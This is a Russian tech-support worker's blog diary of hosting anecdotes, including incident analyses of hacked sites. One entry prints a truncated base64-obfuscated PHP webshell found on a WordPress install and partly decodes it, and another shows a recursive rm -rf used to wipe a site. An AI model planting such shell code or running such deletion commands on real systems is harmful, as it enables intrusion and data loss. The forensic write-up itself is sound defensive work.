Данный дневник является порождением терзающей меня на протяжении, наверное, года мысли "надо таки начать где-нибудь записывать перлы с работы". Ну а к окончательной реализации подбил пример одного ведущего дневник товарища. За что ему было высказано отдельное спасибо :)
Я не заинтересован в срывании покровов, разговорах о футболе, политике, "наболевшем" и так далее - посему никаких личных переживаний, мнений, жалоб и тд и тп здесь не будет. Только моя работа и, надеюсь, только юмор.


Теперь, собственно, о сабже. Несколько лет работаю в техподдержке одного хостинг-провайдера (известного, обожаемого, проклинаемого, говнохостера - это как посмотреть, хватает, прямо скажем, всего) и до сих пор, несмотря на печали разного "административного" толка (за что отдельное спасибо руководству), мне доставляет эта работа :) Этим чувством я и постараюсь поделиться.


Все логины, имена, фамилии смело считайте вымышленными, совпадения случайными :) а то еще придут злые дяди из СБ и выразят своё "фи"...
URL
  • ↓
  • ↑
  • ⇑
 
15:39 

Прямолинейность №2

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
И снова наши инженеры ДЦ жгут :)

Василий добавил комментарий - 14/04/17 15:13
Все работы завершены, КВМ можно отключать.
Надо только разобраться с питанием uweb1155 ака eq623: в данный момент этот сервер работает, несмотря на то, что обе его розетки отключены.

Максим добавил комментарий - 14/04/17 15:15
его выключить?


**как впоследствии оказалось - розетка продолжала работать несмотря на ее отключение в интерфейсе PDU.

11:27 

Прямолинейность.

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
[11:04] Василий: оказалось, что она не упала
[11:04] Василий: а в нее добавили памяти
[11:05] Евгений: рукалицо.
[11:05] Василий: ДЦшники восприняли "приедет память - надо будет поставить" буквально :)
[11:15] Павел: Искоренять нада такое
[11:16] Евгений: предлагаю выводить 220 корпус рабочих серверов
[11:17] Василий: кнопки пластиковые, не поможет :)
[11:17] Евгений: кнопки походу вообще отковыривать нужно)

17:38 

Слоупока ПСТО №2

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Дневник снова открыт... летом!

Хотя у него немного сменилась ориентация - меньше "саппорта", больше администрирования. Скорее всего, в будущем переберусь на другое название или другую площадку вообще.
Пока как черновики:

Я·17:27
[root@ovz]# du -sch /vz/restore/BACKUPS/local/9731
4.0K    /vz/restore/BACKUPS/local/9731
чего только 4кб?

Дмитрий·17:27
отому что тяни из архива за 20е
там же нет ничего, папка пустая

Я·17:28
дык последние должны лежать на сервере?)

Дмитрий·17:28
теоретически.
Согласись, между "должны" и "есть" пролегает большая разница

Я·17:29
нублжад)
нуок
как я быстро из гнева к смирению пришел, минуя отрицание, торг и депрессию :)))

Дмитрий·17:29
этот навык тебе еще пригодится

Я·17:31
а скрипт работает надеюсь?)

Дмитрий·17:31
должен = )

17:42 

Экстрасенсорные способности

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Василий·13:11
$servename - вылетел диск из рейда, будем менять
LSIMegaRaid: DriveSlot2 state is not online

Павел·13:18
как удачно я в zabbix его только что прикрутил
а так бы и не увидели

Эмиль·13:19
на битву экстрасенсов пойдешь?)

16:54 

Слоупока ПСТО!

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Дневник закрыт... летом.

Через пять лет работы в техподдержке (последние пара лет далась особо тяжело благодаря воцарившимуся идиотизму) я ушел из этой области. Несмотря ни на что - я не жалею ни об этом времени, ни тем более об уходе :)

Заводить новый дневник для новой сферы моей деятельности я не буду :) Во-первых - она слишком спецефична и понятна определенным специалистам определенной области (ФТТ), во-вторых - этот опыт показал, что я все-таки не люблю писать дневники. Мне интереснее писать какие-то статьи/заметки, делиться опытом на какую-то случайно пришедшую в голову тему - чем описывать "течение окружающей жизни".

Ну а в качестве тем для очерков я в итоге выбрал авиацию, а не IT :)
Пример:

Засим - все.

11:37 

Job well done!

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
/>>> 05.03.2015, 12:00, "Support Team":
/>>> Здравствуйте!
/>>>
/>>> Действительно, нагрузка на сервер не снизилась. В таком случае требуется проверка скриптов Вашего сайта с помощью его разработчика.
/>>>
/>>> В частности, вчера произведено порядка 1200 запросов к скрипту sсript_naduv.php:
/>>>
/>>> [username@shared ~/logs]$ cat custom_log.previous | cut -d'"' -f2 | cut -d' ' -f2 | cut -d'?' -f1 | sort | uniq -c | sort -n | tail
/>>> 185 /favicon.ico
/>>> 216 /highslide/graphics/zoomout.cur
/>>> 261 /sсript_igra.php
/>>> 268 /sсript_mech.php
/>>> 274 /sсript_all.php
/>>> 335 /sсript_sport.php
/>>> 343 /sсript_child.php
/>>> 421 /
/>>> 427 /news.php
/>>> 1201 /sсript_naduv.php
/>>>
/>>> При этом генерация страницы скриптом потребляет порядка 10 секунд процессорного времени.
/>>>
/>>> username 62906 57.6 0.5 27420 16760 ?? RN 8:36AM 0:09.44 sсript_naduv.php (php-cgi)
/>>>
/>>> Другие скрипты сайта тоже потребляют достаточно много процессорного времени.
/>>>
/>>> username 72192 45.4 0.5 27420 16396 ?? RN 8:36AM 0:06.60 sсript_sport.php (php-cgi)
/>>> username 86791 39.8 0.3 10164 8224 ?? RN 8:36AM 0:05.55 sсript_old.php (php-cgi)
/>>> username 90153 47.4 0.2 8960 7228 ?? RN 8:37AM 0:07.63 sсript_child.php (php-cgi)
/>>> username 96708 51.0 0.4 17620 12408 ?? RN 8:37AM 0:07.69 news.php (php-cgi)
/>>> username 3183 36.9 0.3 14372 10140 ?? RN 8:37AM 0:04.78 sсript_tir.php (php-cgi)
/>>> username 7133 30.3 0.4 19312 13744 ?? RN 8:37AM 0:03.52 sсript_disco.php (php-cgi)
/>>>
/>>> Нормальное потребление процессорного времени скриптами сайта - порядка 0.1-0.3 секунды, а не нескольких секунд.
/>>>
/>>> Системные вызовы процесса генерации скрипта sсript_naduv.php показывают на громадное количество операций смены прав доступа к файлам (зачем такая операция вообще
/>>> производится?) в начале обработки скрипта и на громадное количество операций чтения, которое, по всей видимости, возникают при чтении комментариев из базы данных:
/>>> ...
/>>> 4.966374098 write(4,"i\0\0\0\^Cselect `id`, `comments"...,109) = 109 (0x6d)
/>>> 4.966488919 read(4,"\^A\0\0\^A",4) = 4 (0x4)
/>>> 4.966552895 read(4,"\^F",1) = 1 (0x1)
/>>> 4.966611004 read(4,"N\0\0\^B",4) = 4 (0x4)
/>>> 4.966670790 read(4,"\^Cdef\^Rwwwusernameeru_adm\^Qcu"...,78) = 78 (0x4e)
/>>> 4.966738956 read(4,"Z\0\0\^C",4) = 4 (0x4)
/>>> 4.966794830 read(4,"\^Cdef\^Rwwwusernameeru_adm\^Qcu"...,90) = 90 (0x5a)
/>>> 4.966856012 read(4,"b\0\0\^D",4) = 4 (0x4)
/>>> 4.966917474 read(4,"\^Cdef\^Rwwwusernameeru_adm\^Qcu"...,98) = 98 (0x62)
/>>> 4.966980891 read(4,"Z\0\0\^E",4) = 4 (0x4)
/>>> 4.967041514 read(4,"\^Cdef\^Rwwwusernameeru_adm\^Qcu"...,90) = 90 (0x5a)
/>>> 4.967105490 read(4,"\\\0\0\^F",4) = 4 (0x4)
/>>> 4.967166114 read(4,"\^Cdef\^Rwwwusernameeru_adm\^Qcu"...,92) = 92 (0x5c)
/>>> 4.967229810 read(4,"V\0\0\a",4) = 4 (0x4)
/>>> 4.967290992 read(4,"\^Cdef\^Rwwwusernameeru_adm\^Qcu"...,86) = 86 (0x56)
/>>> 4.967355247 read(4,"\^A\0\0\b",4) = 4 (0x4)
/>>> 4.967415312 read(4,"\M-~",1) = 1 (0x1)
/>>> 4.967485155 read(4,"\^S\0\0\t",4) = 4 (0x4)
/>>> 4.967548293 read(4,"\^A2\0\0\0\fhtml_with_br\0",19) = 19 (0x13)
/>>> 4.967608916 read(4,"\^S\0\0\n",4) = 4 (0x4)
/>>> 4.967668422 read(4,"\^A3\0\0\0\fhtml_with_br\0",19) = 19 (0x13)
/>>> 4.967732398 read(4,"\^S\0\0\v",4) = 4 (0x4)
/>>> 4.967792183 read(4,"\^A4\0\0\0\fhtml_with_br\0",19) = 19 (0x13)
/>>> 4.967848057 read(4,"\^S\0\0\f",4) = 4 (0x4)
/>>> 4.967905608 read(4,"\^A5\0\0\0\fhtml_with_br\0",19) = 19 (0x13)
/>>> 4.967963717 read(4,"\^S\0\0\r",4) = 4 (0x4)
/>>> 4.968021267 read(4,"\^A6\0\0\0\fhtml_with_br\0",19) = 19 (0x13)
/>>> 4.968078538 read(4,"\^S\0\0\^N",4) = 4 (0x4)
/>>> 4.968135809 read(4,"\^A7\0\0\0\fhtml_with_br\0",19) = 19 (0x13)
/>>> 4.968194756 read(4,"\^S\0\0\^O",4) = 4 (0x4)
/>>> 4.968250630 read(4,"\^A8\0\0\0\fhtml_with_br\0",19) = 19 (0x13)
/>>> 4.968309019 read(4,"\^S\0\0\^P",4) = 4 (0x4)
/>>> 4.968366569 read(4,"\^A9\0\0\0\fhtml_with_br\0",19) = 19 (0x13)
/>>> 4.968426354 read(4,"\^T\0\0\^Q",4) = 4 (0x4)
/>>> 4.968481949 read(4,"\^B10\0\0\0\fhtml_with_br\0",20) = 20 (0x14)
/>>> 4.968539779 read(4,"\^T\0\0\^R",4) = 4 (0x4)
/>>> 4.968597608 read(4,"\^B11\0\0\0\fhtml_with_br\0",20) = 20 (0x14)
/>>> ...
/>>>
/>>> Системные вызовы процесса были сняты таким образом и сохранены в файл:
/>>>
/>>> [username@shared ~/www/htdocs]$ while true; do ps aux | grep php-cgi | grep sсript_naduv | awk {'print $2'} | xargs truss -o sсript_naduv.php.txt -d -p ; done
/>>> [username@shared ~/www/htdocs]$ ls -alh sсript_naduv.php.txt
/>>> -rw-r--r-- 1 username username 58M Mar 5 08:45 sсript_naduv.php.txt
/>>>
/>>> Вам необходимо проанализировать этот файл с разработчиками сайта и устранить указанные проблемы.
/>>>
/>> 05.03.2015 14:36 - Username написал(а):
/>> Здравствуйте!
/>> Скачиваем файл. Анализировать с разработчиками не представляется возможным, так
/>> как их давно нет, и связи с ними тоже. Другое дело, что эти же скрипты и работали
/>> все это время и не нагружали настолько сервер, всегда хватало ресурсов. А после
/>> того, как мы оплатили хостинг на год, понеслась проблема с нагрузкой. Данный сайт
/>> плохо оптимизирован. CMS, на которой он устроен, не обновлялась уже много лет. На
/>> данный момент мы делаем другой новый сайт, после него собираемся полностью переделать
/>> проблемный сайт, чтобы он был современным и в плане технической сборки тоже.
/>> Мы постараемся проанализировать данные, которые вы прислали. Будем стараться
/>> исправить проблему, потому что сайт нас кормит, в конце концов...
/>> Но не могли бы вы проанализировать работу сервера до и после начала каждодневной
/>> нагрузки. Мы не меняли ничего на сайте (серьезного) с 2014 года, а нагрузка не
/>> могла начаться просто так, так же исполняя скрипты, как и прежде, это как минимум
/>> странно.
/>>
/> 05.03.2015, 15:10, "Support Team":
/> Здравствуйте!
/>
/> Сервер работает в штатном режиме и его конфигурация и настройки не обновлялись. Также никакие обновления сервера не могли привести к такому эффекту.
/>
/> Нагрузка могла расти постепенно: учитывая, что изменяются права доступа к множеству файлов, их количество будет влиять на итоговый результат, то есть на результат влияет
/> банально наполнение сайта;
/>
/> Нагрузка могла вырасти скачком: учитывая, что производится считывание огромного количества информации из базы данных, причем в этом процессе фигурирует слово
/> "Комментарии", речь может идти об атаке на сайт и создании большого числа спам-комментариев на сайте в различных формах (гостевая книга, комментарии, отзывы и так
/> далее), что привело к дальнейшему затруднению в работе сайта.
/>
/> Также речь может идти о взломе сайта и об изменении его кода, но на наш взгляд были бы иные последствия в виде лишних страниц на сайте, рассылке спама, работе посторонних
/> скриптов - такого сейчас не наблюдается.
/>
/> В любом случае сейчас скрипт в ходе генерации одной страницы совершает порядка 900 тысяч действий, это связано только с кодом и это никак не может быть
/> связано с сервером: в вывод системных вызовов не успела попасть инициализация обработчика PHP, поскольку в штатном режиме она занимает крайне мало времени. Все действия, что
/> производятся при генерации страницы и тратят ресурсы процессора - производятся обработчиком согласно найденному в скриптах коду и никак не связаны с серверным настройками.
/>
Здравствуйте!
После разговоров с вами и проделанных манипуляций, решили нанять фрилансера для
оптимизации кода сайта, чтобы наконец решить проблему нагрузки.

Спасибо за проявленное терпение. Работоспособность сайта для нас первоочередная задача.

@темы: заявки, будни

09:20 

It (Not) Works!

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Интересное обращение - сайт на сервере работает, однако яндекс заявляет, что они вместо сайта видят стандартную заглушку apache "It Works!" - в результате сайт не индексируется, не работает метрика и так далее.
Посмотрел конфиги апача - ничего подозрительного. На сервере при этом стояла панель ISPmanager и логи сайтов писались в /var/www/httpd-logs - в этих логах были зафиксированы обращения от метрики:
7105:/# grep -i metrika /var/www/httpd-logs/*.access.log | tail
178.154.224.114 - - [02/Sep/2014:08:25:55 +0400] "GET / HTTP/1.1" 200 8378 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots TEST)"
213.180.206.197 - - [02/Sep/2014:08:26:48 +0400] "GET / HTTP/1.1" 200 8378 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots mtmon2.yandex.ru)"
95.108.129.207 - - [02/Sep/2014:08:31:38 +0400] "GET / HTTP/1.1" 200 8378 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots mtmon1.yandex.ru)"
37.9.118.17 - - [02/Sep/2014:08:38:50 +0400] "GET / HTTP/1.1" 200 8378 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots mtmon3.yandex.ru)"
178.154.224.114 - - [02/Sep/2014:08:40:36 +0400] "GET / HTTP/1.1" 200 8378 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots TEST)"
213.180.206.197 - - [02/Sep/2014:08:45:57 +0400] "GET / HTTP/1.1" 200 8378 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots mtmon2.yandex.ru)"
95.108.129.207 - - [02/Sep/2014:08:51:06 +0400] "GET / HTTP/1.1" 200 8378 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots mtmon1.yandex.ru)"
178.154.224.114 - - [02/Sep/2014:08:55:01 +0400] "GET / HTTP/1.1" 200 8378 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots TEST)"
37.9.118.17 - - [02/Sep/2014:08:58:33 +0400] "GET / HTTP/1.1" 200 8378 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots mtmon3.yandex.ru)"
213.180.206.197 - - [02/Sep/2014:09:05:49 +0400] "GET / HTTP/1.1" 200 8378 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots mtmon2.yandex.ru)"

Уже собрался, пожав плечами, уходить, как решил все-таки посмотреть лог самого apache - а кто же, все таки, открывает страничку "It Works", если яндекс успешно по сайту ходит?
7105:/# tail /var/log/apache2/access.log
2620:10f:d00b::642b:5517 - - [02/Sep/2014:01:26:37 +0400] "GET /?command=system HTTP/1.1" 200 56 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +yandex.com/bots)"
2620:10f:d00b::c715:63c6 - - [02/Sep/2014:01:26:54 +0400] "GET /?command=rasprodaga HTTP/1.1" 200 56 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +yandex.com/bots)"
2a02:6b8:0:180c::8d08:bd7d - - [02/Sep/2014:01:27:04 +0400] "GET /?command=vibor_nedeli HTTP/1.1" 200 56 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +yandex.com/bots)"
2620:10f:d00b::c715:63cb - - [02/Sep/2014:01:27:15 +0400] "GET /?command=peregorodki HTTP/1.1" 200 56 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +yandex.com/bots)"
2620:10f:d00b::642b:5516 - - [02/Sep/2014:04:48:52 +0400] "GET /?foto=images/prev/dsp/n29_27.jpg&command=contacts HTTP/1.1" 200 56 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +yandex.com/bots)"
2a02:6b8:0:180c::b29a:ff85 - - [02/Sep/2014:04:49:14 +0400] "GET /?command=contacts HTTP/1.1" 200 56 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +yandex.com/bots)"
2a02:6b8:0:180c::5ff:c311 - - [02/Sep/2014:04:49:35 +0400] "GET /mil2.php HTTP/1.1" 403 284 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +yandex.com/bots)"
2620:10f:d00b::c715:63c6 - - [02/Sep/2014:04:49:41 +0400] "GET /?command=laminirovannye_paneli HTTP/1.1" 200 56 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +yandex.com/bots)"
2001:41d0:2:c05::1 - - [02/Sep/2014:05:15:13 +0400] "GET /?command=shkafyi_kupe HTTP/1.1" 200 56 "-" "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; en-US)"
2a02:6b8:0:f09::5c - - [02/Sep/2014:05:57:53 +0400] "GET / HTTP/1.1" 200 56 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots)"

Вот тут то все и стало понятно :) Для домена IPv6-адрес в зоне указан, а в конфигурации apache его нет - вот он и отдает свою страницу)
Еще забавно, что похоже для яндекса приоритетом является именно IPv6 - несмотря на то, что сайт успешно открывался по IPv4-адресу, яндекс решил взять за основу результаты открытия страниц по IPv6-адресу и заявлял, что сайт не работает.

@темы: будни, факапы

13:45 

О лишней работе

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Достаточно часто на автомате выполняются "стандартные действия", которые выолняются практически всегда без раздумий, но которые по факту не нужны.

Например: у нас есть один сайт, который позавчера начали ддосить и в ответ мы запретили доступ к сайту из зарубежных сетей (а кроме этого работает скрипт, который особо наглых добавляет в iptable). Сегодня пользователь интересовался, можно ли снять фильтр, не кончилась ли атака.
Ответ - нет, не кончилась. Далее в качестве пруфов кидается кусочек лога последнего наглого забаненного. Я обычно кидаю кусочек за секунду-две, чтобы пользователь сам оценил масштаб. В логе сервера оно выглядит так:

58.11.94.108;www.domain.ru;1421401987.103;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.118;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.158;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.161;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.283;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.297;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.317;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.328;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.456;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.555;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.590;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.600;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.659;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.843;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.861;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.910;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1

Я человек добрый, готовый для комфорта пользователей чего-нить сделать дополнительного и не люблю, когда в логе есть лишняя информация, не нужная пользователю - такую информацию вырезаю регулярками. Здесь тоже самое, таймстампы пользователь вряд ли оценит, заменяю "ru;*[0-9.]*;" "ru;", получаю такой результат и отправляю его клиенту:

58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
После чего смотрю на отправленный ответ и в голове проскакивает мысль - "блин, надо было просто скопировать одну строчку и вставить 15 раз" :)

@темы: будни

09:40 

Еще о взломах

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Утро понедельника началось с сюрприза - на рабочую почту пришло уведомление от антивируса:
wp-content/empt.php => PHP.#28463.evb64.0.UNOFFICIAL

Хм, но это же тестовый хостинг без домена второго уровня, на который установлен голый вордпресс? Тот самый вопрдресс, разработчики которого в случае взломов уверяют "у вас пароль украли, а сервер вообще дырявый!"...
Да, версия старая (3.8.2) и установка производилась только ради теста обработчика PHP на сервере, но каких-либо дополнительных плагинов, например, не устанавливал. Значит, косяк точно в вордпрессе, будем искать...

$ stat -x wp-content/empt.php
File: "wp-content/empt.php"
Size: 88296 FileType: Regular File
Mode: (0644/-rw-r--r--) Uid: (256055) Gid: (114702)
Device: 0,113 Inode: 9469343 Links: 1
Access: Fri Aug 1 06:23:18 2014
Modify: Fri Aug 1 06:23:18 2014
Change: Fri Aug 1 06:23:18 2014

$ find . -ctime -10
./wp-content
./wp-content/uploads
./wp-content/uploads/2014
./wp-content/uploads/2014/08
./wp-content/empt.php


$ cat wp-content/empt.php
<?PHP
eval(base64_decode('JGF1dGhfcGFzcyA9ICI2M2E5ZjBlYTdiYjk4MDUwNzk2YjY0OWU4NTQ4MTg0NSI7CiRjb2xvciA9ICIjZGY1IjsKJGRlZmF1bHRfYWN0aW9uID0gJ0ZpbGVzTWFuJzsKJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOwokZGVmYXVsdF9jaGFyc2V0ID0gJ1dpbmRvd3MtMTI1MSc7CgppZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgewogICAgJHVzZXJBZ2VudH...

Раскодируем:
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
...

Обыкновенный вебшелл, md5-хэш в базе есть (пароль root). Кроме веб-шелла еще производился доступ к каталогу uploads, других вредоносов нет. Ну что ж, теперь нам нужны логи.
читать дальше

Хм, ну что ж, прикольно. Судя по всему, через скрипт install.php (который в ходе установки не удаляется и в том числе нет рекомендаций удалять его вручную) поменяли пароль доступа к CMS, далее через саму CMS загрузили вебшелл, потом уже с помощью самого вебшелла переместили его в другой каталог.

wordpress.stackexchange.com/questions/96620/sho...
- Is keeping wp-admin/install.php and wp-admin/install-helper.php a security leak on the newer versions of wordpress?
- No, there is no security risk. Both files do sanity checks before anything happens.

Хм, и как решать эту проблему? Ну, в моем случае очень быстро и эффективно:
$ rm -rf ~/public_html/*

А так - советуют блокировать доступ к install.php через .htaccess (интересно, и почему нельзя просто удалять этот файл?)

@темы: будни

15:03 

Корень всех бед

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry

> Добрый день!
> Мы не можем получить доступы к базам данных.
> В чем проблема?
Прикрепленный файл: foto.docx , 139.6 KBytes

И почему мне кажется, что причина отправки скриншотов в .doc и корень всех бед пользователя растет из одного и того же места?)) Предубеждение какое-то, право слово.

14:58 

Это страшное слово "взлом".

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Относительно недавно на хабре появилась такая статья, посвященная взломам сайтов: habrahabr.ru/company/host-tracker/blog/223877/

И я прочитал эту статью... И прочитал комментарии... Сказать, что я был одновременно взбешен и разочарован в хабражителях - это не сказать ничего. Вместо анализа проблемы, причем не возникшей черти когда - а наблюдаемой прямо в данный момент! - пользователь применил какой-то чудовищный костыль, завязанный на внешнем ресурсе (почему бы не написать аналогичный скрипт на питоне или баше и запускать кроном?), а всю ответственность за взлом сайта голословно свалил на хостера. При этом я каждый день сталкиваюсь со взломанными сайтами и случаи взлома по вине хостера можно пересчитать по пальцам руки слепого фрезеровщика - связаны обычно они с новенькими уязвимостями (из запомнившегося - у нас громко "бабахнула" несколько лет назад уязвимость обработчика PHP в режиме CGI - когда можно было выполнять произвольный код, raz0r.name/vulnerabilities/php-cgi-remote-code-...).

Но, поскольку на хабре я не зарегистрирован, то все это так и осталось в виде эмоций в голове :) За месяц эмоции поутихли, а сейчас попался более-менее интересный случай, не связанный с корявыми старыми джумлами и сотней тысяч вредоносов, которые загружались на "любимый, но никем не администрируемый сайтик" в течение нескольких лет.

Итак, пользователь получает уведомление от антивирусной системы:
~/.cagefs/tmp/af.txt: Trojan.IRCBot-1142

Сам по себе ~/.cagefs/tmp - это реализация /tmp в окружении пользователя в рамках CloudLinux.


> Пришло автоматическое сообщение о трояне на сервере. Файл удалили. Сайт проверили - все нормально. Вопрос - не заражен ли хостинг?

В принципе такие вопросы у поломанных пользователей не редки, хотя в большинстве случаев это скорее претензия-утверждение, а не вопрос. Единственное, что связывает такой вежливый стиль и откровенно хамские выкрики "из зала" - во всех случаях нет представления о том, что такое "уязвимость серверного ПО", о том, к чему оно приводит и о том, как рвут волосы на [censored] администраторы при обнаружении такого глобального факапа :) Ну а когда такое предстваление имеется - то и вопросов такого рода не возникает.

Что мы имеем? Грустную картину - файл пользователь уже грохнул, сказать что-либо о его содержимом или о времени его загрузки на сервер уже нельзя, в файлах сайта ничего интересного, при беглом взгляде в логах сайта за месяц ничего интересного... Мрак, однимо словом. О, вы только посмотрите, какая прелесть висит у юзера:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
username 624605 95.0 0.0 36460 4404 ? R Jul10 8813:12 /usr/sbin/httpd

Ура, живем! Так, а что ты, собсственно, собака, делаешь?
-sh-4.1$ lsof -p 624605
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
perl 624605 username cwd DIR 8,6 4096 37716728 /tmp
perl 624605 username rtd DIR 8,2 12288 1114390 /
perl 624605 username txt REG 8,2 6912 1125070 /usr/bin/perl
perl 624605 username mem REG 8,1 27424 2859054 /lib64/libnss_dns-2.12.so
perl 624605 username mem REG 8,1 65928 2859058 /lib64/libnss_files-2.12.so
perl 624605 username mem REG 8,2 19336 1385051 /usr/lib64/perl5/auto/IO/IO.so
perl 624605 username mem REG 8,2 127412 1384483 /usr/lib64/perl5/auto/Socket/Socket.so
perl 624605 username mem REG 8,1 424472 2859174 /lib64/libfreebl3.so
perl 624605 username mem REG 8,1 1921216 2859027 /lib64/libc-2.12.so
perl 624605 username mem REG 8,1 142640 2859076 /lib64/libpthread-2.12.so
perl 624605 username mem REG 8,1 14584 2859104 /lib64/libutil-2.12.so
perl 624605 username mem REG 8,1 40400 2859041 /lib64/libcrypt-2.12.so
perl 624605 username mem REG 8,1 596264 2859047 /lib64/libm-2.12.so
perl 624605 username mem REG 8,1 19536 2859043 /lib64/libdl-2.12.so
perl 624605 username mem REG 8,1 113432 2859050 /lib64/libnsl-2.12.so
perl 624605 username mem REG 8,1 110960 2859078 /lib64/libresolv-2.12.so
perl 624605 username mem REG 8,2 1485896 1384505 /usr/lib64/perl5/CORE/libperl.so
perl 624605 username mem REG 8,1 154520 2859214 /lib64/ld-2.12.so
perl 624605 username 0r FIFO 0,8 0t0 754682712 pipe
perl 624605 username 1w FIFO 0,8 0t0 754682933 pipe
perl 624605 username 2w FIFO 0,8 0t0 754682714 pipe
perl 624605 username 3u unix 0xffff88011ad29280 0t0 754682764 socket
perl 624605 username 4u IPv4 754683819 0t0 TCP server:58368->107.170.202.233:http (ESTABLISHED)

Да, это то, что мы ищем. Perl-скрипт, запущен из под юзера из /tmp, атакуемый ресурс имеет какое-то отноешние к IRC. Теперь осталось обратиться к логам процессов и узнать, когда он был запущен (да-да, у нас все ходы записаны!):

2014-07-10 03:10:01 username 624605 77.7 0.0 36460 4392 ? R 03:09 0:41 /usr/sbin/httpd

Теперь, когда известно время запуска, можно посмотреть, как именно он был запущен. С помощью все тех же журналов сервера - с их помощью мы определим и то, что на сервере в это время пользователь не присутствовал, и то, что в это время к сайту пользователя пришел такой интересный запрос:

